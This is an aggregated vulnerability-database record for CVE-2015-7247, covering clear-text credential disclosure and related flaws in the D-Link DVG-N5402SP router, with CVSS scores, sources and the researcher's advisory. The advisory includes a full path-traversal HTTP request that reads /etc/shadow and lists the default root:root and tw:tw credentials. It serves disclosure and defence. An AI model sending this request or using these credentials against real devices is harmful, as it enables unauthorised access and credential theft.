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ID

VAR-201704-0220


CVE

CVE-2015-7247


TITLE

D-Link DVG-N5402SP Vulnerability in which important information is obtained in the firmware of

Trust: 0.8

sources: JVNDB: JVNDB-2015-007545

DESCRIPTION

D-Link DVG-N5402SP with firmware W1000CN-00, W1000CN-03, or W2000EN-00 discloses usernames, passwords, keys, values, and web account hashes (super and admin) in plaintext when running a configuration backup, which allows remote attackers to obtain sensitive information. The D-Link DVG-N5402SP is a wireless router product from D-Link for voice, fax and shared wireless Internet over IP networks. A security vulnerability exists in the D-LinkDVG-N5402SP that originated from the program storing data in clear text. An attacker could exploit this vulnerability to obtain sensitive information. DLink DVG­N5402SP is prone to multiple security vulnerabilities. Attackers can leverage these issues to bypass the authentication mechanism and gain access to the vulnerable device, use directory-traversal characters ('../') and obtain sensitive information; other attacks are also possible. DLink DVG­N5402SP File Path Traversal, Weak Credentials Management, and Sensitive Info Leakage Vulnerabilities *Timelines* Reported to CERT + Vendor: August 2015 Dlink released beta release: Oct 23, 2015 New fix release: MD5 (GRNV6.1U23J-83-DL-R1B114-SG_Normal.EN.img) = 04fd8b901e9f297a4cdbea803a9a43cb No public disclosure till date - Dlink waiting for Service providers to ask for new release + CERT opted out *Vulnerable Models, Firmware, Hardware versions* DVG­N5402SP Web Management Model Name : GPN2.4P21­C­CN Firmware Version : W1000CN­00 Firmware Version :W1000CN­03 Firmware Version :W2000EN­00 Hardware Platform :ZS Hardware Version :Gpn2.4P21­C_WIFI­V0.05 Device can be managed through three users: 1. super ­ full privileges 2. admin ­ full privileges 3. support ­ restricted user *1. Path traversal* Arbitrary files can be read off of the device file system. *CVE-ID*: CVE-2015-7245 *HTTP Request * POST /cgi­bin/webproc HTTP/1.1 Host: <IP>:8080 User­Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept­Language: en­US,en;q=0.5 Accept­Encoding: gzip, deflate Referer: http://<IP>:8080/cgi­bin/webproc Cookie: sessionid=abcdefgh; language=en_us; sys_UserName=super Connection: keep­alive Content­Type: application/x­www­form­urlencoded Content­Length: 223 getpage=html%2Findex.html&*errorpage*=../../../../../../../../../../../etc/shadow&var%3Amenu=setup&var%3Apage=connected&var% &obj­action=auth&%3Ausername=blah&%3Apassword=blah&%3Aaction=login&%3Asessionid=abcdefgh *HTTP Response* HTTP/1.0 200 OK pstVal­>name:getpage; pstVal­>value:html/main.html pstVal­>name:getpage; pstVal­>value:html/index.html pstVal­>name:errorpage; pstVal­>value:../../../../../../../../../../../etc/shadow pstVal­>name:var:menu; pstVal­>value:setup pstVal­>name:var:page; pstVal­>value:connected pstVal­>name:var:subpage; pstVal­>value:­ pstVal­>name:obj­action; pstVal­>value:auth pstVal­>name::username; pstVal­>value:super pstVal­>name::password; pstVal­>value:super pstVal­>name::action; pstVal­>value:login pstVal­>name::sessionid; pstVal­>value:1ac5da6b Connection: close Content­type: text/html Pragma: no­cache Cache­Control: no­cache set­cookie: sessionid=1ac5da6b; expires=Fri, 31­Dec­9999 23:59:59 GMT; path=/ #root:<hash_redacted>:13796:0:99999:7::: root:<hash_redacted>:13796:0:99999:7::: #tw:<hash_redacted>:13796:0:99999:7::: #tw:<hash_redacted>:13796:0:99999:7::: *2. Use of Default, Hard­Coded Credentials**CVE-ID*: CVE-2015-7246 The device has two system user accounts configured with default passwords (root:root, tw:tw). Login ­ tw ­ is not active though. Anyone could use the default password to gain administrative control through the Telnet service of the system (when enabled) leading to integrity, loss of confidentiality, or loss of availability. It is noted that restricted 'support' user may also access this config backup file from the portal directly, gather clear-text admin creds, and gain full, unauthorized access to the device. -- Best Regards, Karn Ganeshen ipositivesecurity.blogspot.in

Trust: 2.7

sources: NVD: CVE-2015-7247 // JVNDB: JVNDB-2015-007545 // CNVD: CNVD-2016-01162 // BID: 82754 // VULHUB: VHN-85208 // VULMON: CVE-2015-7247 // PACKETSTORM: 135590

IOT TAXONOMY

category:['IoT', 'Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2016-01162

AFFECTED PRODUCTS

vendor:d linkmodel:dvg-n5402spscope:eqversion:w1000cn-00

Trust: 2.4

vendor:d linkmodel:dvg-n5402spscope:eqversion:w1000cn-03

Trust: 2.4

vendor:d linkmodel:dvg-n5402spscope:eqversion:w2000en-00

Trust: 2.4

vendor:d linkmodel:dvg\303\202\302\255n5402spscope: - version: -

Trust: 0.6

sources: CNVD: CNVD-2016-01162 // JVNDB: JVNDB-2015-007545 // CNNVD: CNNVD-201602-372 // NVD: CVE-2015-7247

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2015-7247
value: CRITICAL

Trust: 1.0

NVD: CVE-2015-7247
value: CRITICAL

Trust: 0.8

CNVD: CNVD-2016-01162
value: MEDIUM

Trust: 0.6

CNNVD: CNNVD-201602-372
value: CRITICAL

Trust: 0.6

VULHUB: VHN-85208
value: HIGH

Trust: 0.1

VULMON: CVE-2015-7247
value: HIGH

Trust: 0.1

nvd@nist.gov: CVE-2015-7247
severity: HIGH
baseScore: 7.8
vectorString: AV:N/AC:L/AU:N/C:C/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: COMPLETE
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 6.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.9

CNVD: CNVD-2016-01162
severity: MEDIUM
baseScore: 5.0
vectorString: AV:N/AC:L/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

VULHUB: VHN-85208
severity: HIGH
baseScore: 7.8
vectorString: AV:N/AC:L/AU:N/C:C/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: COMPLETE
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 6.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

nvd@nist.gov: CVE-2015-7247
baseSeverity: CRITICAL
baseScore: 9.8
vectorString: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 3.9
impactScore: 5.9
version: 3.0

Trust: 1.8

sources: CNVD: CNVD-2016-01162 // VULHUB: VHN-85208 // VULMON: CVE-2015-7247 // JVNDB: JVNDB-2015-007545 // CNNVD: CNNVD-201602-372 // NVD: CVE-2015-7247

PROBLEMTYPE DATA

problemtype:CWE-200

Trust: 1.9

sources: VULHUB: VHN-85208 // JVNDB: JVNDB-2015-007545 // NVD: CVE-2015-7247

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201602-372

TYPE

information disclosure

Trust: 0.6

sources: CNNVD: CNNVD-201602-372

CONFIGURATIONS

sources:
            
            
            JVNDB: JVNDB-2015-007545

EXPLOIT AVAILABILITY
sources:
            
            
            VULHUB: VHN-85208 // 
            
            
            
            VULMON: CVE-2015-7247

PATCH
title:Top Pageurl:http://www.dlink.com/uk/en
Trust: 0.8
sources:
            
            
            JVNDB: JVNDB-2015-007545

EXTERNAL IDS
db:NVDid:CVE-2015-7247
Trust: 3.6
db:PACKETSTORMid:135590
Trust: 2.7
db:EXPLOIT-DBid:39409
Trust: 1.8
db:BIDid:82754
Trust: 1.0
db:JVNDBid:JVNDB-2015-007545
Trust: 0.8
db:CNNVDid:CNNVD-201602-372
Trust: 0.7
db:CNVDid:CNVD-2016-01162
Trust: 0.6
db:VULHUBid:VHN-85208
Trust: 0.1
db:VULMONid:CVE-2015-7247
Trust: 0.1
sources:
            
            
            CNVD: CNVD-2016-01162 // 
            
            
            
            VULHUB: VHN-85208 // 
            
            
            
            VULMON: CVE-2015-7247 // 
            
            
            
            BID: 82754 // 
            
            
            
            JVNDB: JVNDB-2015-007545 // 
            
            
            
            PACKETSTORM: 135590 // 
            
            
            
            CNNVD: CNNVD-201602-372 // 
            
            
            
            NVD: CVE-2015-7247

REFERENCES
url:http://packetstormsecurity.com/files/135590/d-link-dvg-n5402sp-path-traversal-information-disclosure.html
Trust: 2.6
url:http://seclists.org/fulldisclosure/2016/feb/24
Trust: 2.1
url:https://www.exploit-db.com/exploits/39409/
Trust: 1.9
url:https://nvd.nist.gov/vuln/detail/cve-2015-7247
Trust: 0.9
url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2015-7247
Trust: 0.8
url:http://www.securityfocus.com/bid/82754
Trust: 0.7
url:http://www.dlink.co.in/
Trust: 0.3
url:https://cwe.mitre.org/data/definitions/200.html
Trust: 0.1
url:https://nvd.nist.gov
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2015-7245
Trust: 0.1
url:http://<ip>:8080/cgi­bin/webproc
Trust: 0.1
url:https://nvd.nist.gov/vuln/detail/cve-2015-7246
Trust: 0.1
sources:
            
            
            CNVD: CNVD-2016-01162 // 
            
            
            
            VULHUB: VHN-85208 // 
            
            
            
            VULMON: CVE-2015-7247 // 
            
            
            
            BID: 82754 // 
            
            
            
            JVNDB: JVNDB-2015-007545 // 
            
            
            
            PACKETSTORM: 135590 // 
            
            
            
            CNNVD: CNNVD-201602-372 // 
            
            
            
            NVD: CVE-2015-7247

CREDITS
Karn Ganeshen
Trust: 1.0
sources:
            
            
            BID: 82754 // 
            
            
            
            PACKETSTORM: 135590 // 
            
            
            
            CNNVD: CNNVD-201602-372

SOURCES
db:CNVDid:CNVD-2016-01162
db:VULHUBid:VHN-85208
db:VULMONid:CVE-2015-7247
db:BIDid:82754
db:JVNDBid:JVNDB-2015-007545
db:PACKETSTORMid:135590
db:CNNVDid:CNNVD-201602-372
db:NVDid:CVE-2015-7247

LAST UPDATE DATE
2025-04-20T23:13:14.342000+00:00

SOURCES UPDATE DATE
db:CNVDid:CNVD-2016-01162date:2016-02-22T00:00:00
db:VULHUBid:VHN-85208date:2017-04-28T00:00:00
db:VULMONid:CVE-2015-7247date:2017-04-28T00:00:00
db:BIDid:82754date:2016-07-05T21:22:00
db:JVNDBid:JVNDB-2015-007545date:2017-05-26T00:00:00
db:CNNVDid:CNNVD-201602-372date:2023-04-27T00:00:00
db:NVDid:CVE-2015-7247date:2025-04-20T01:37:25.860

SOURCES RELEASE DATE
db:CNVDid:CNVD-2016-01162date:2016-02-22T00:00:00
db:VULHUBid:VHN-85208date:2017-04-24T00:00:00
db:VULMONid:CVE-2015-7247date:2017-04-24T00:00:00
db:BIDid:82754date:2016-02-03T00:00:00
db:JVNDBid:JVNDB-2015-007545date:2017-05-26T00:00:00
db:PACKETSTORMid:135590date:2016-02-03T20:32:22
db:CNNVDid:CNNVD-201602-372date:2016-02-19T00:00:00
db:NVDid:CVE-2015-7247date:2017-04-24T18:59:00.240